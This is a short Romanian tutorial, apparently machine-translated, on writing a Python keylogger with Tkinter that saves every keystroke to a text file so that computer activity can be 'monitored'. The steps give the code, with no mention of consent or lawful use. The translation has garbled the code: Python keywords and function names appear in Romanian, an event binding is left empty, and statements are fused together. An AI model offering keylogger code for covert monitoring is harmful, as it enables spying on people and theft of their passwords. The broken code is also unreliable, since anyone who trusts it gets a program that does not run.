Cum se creează un keylogger folosind Python

Femeie la computer privind peste umăr

Capturați apăsările de taste și salvați-le într-un fișier.

Credit imagine: Jupiterimages/Photos.com/Getty Images

Puteți crea un program de înregistrare a tastelor folosind Python pentru a captura apăsările tastelor tastate de la tastatura unui computer. Apăsările de taste sunt salvate într-un fișier text și înregistrează toate intrările. Puteți utiliza un key logger pentru a monitoriza activitatea de pe computer.

Pasul 1

Lansați IDLE, faceți clic pe meniul „File” și selectați „New Window” pentru a lansa o nouă fereastră. Apăsați Ctrl și S pentru a lansa fereastra „Salvare ca”. Utilizați „getKeyLogger” ca nume de fișier și faceți clic pe „Salvare”.

Videoclipul zilei

Pasul 2

Adăugați următoarea linie de cod pentru a importa spațiul de nume „Tkinter” și definiți calea fișierului pe care doriți să-l utilizați pentru a vă înregistra:

import Tkinter ca tk myFile = open ("C:/temp/keyFile.txt", "w")

Pasul 3

Copiați și inserați următorul cod pentru a salva fiecare apăsare de tastă în fișier:

def apăsare tasta (eveniment): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

Pasul 4

Adăugați următorul cod pentru a informa utilizatorul că poate începe să tasteze și că poate apăsa Esc pentru a încheia programul:

principal = tk. Tk() print "Apăsați orice tastă (tasta Escape pentru a ieși):" main.bind_all('', apăsare tasta) main.withdraw() main.mainloop() myFile.close()

Pasul 5

Faceți clic pe butonul de pornire „Windows” și tastați „cmd” în caseta „căutați programe și fișiere”. Apăsați Enter pentru a deschide promptul de comandă. Accesați „C:\Python„ și tastați „python getKeyLogger.” Apăsați Enter pentru a rula programul. Accesați „C:/temp/” și faceți dublu clic pe „keyFile.txt” pentru a vedea datele de apăsare a tastei.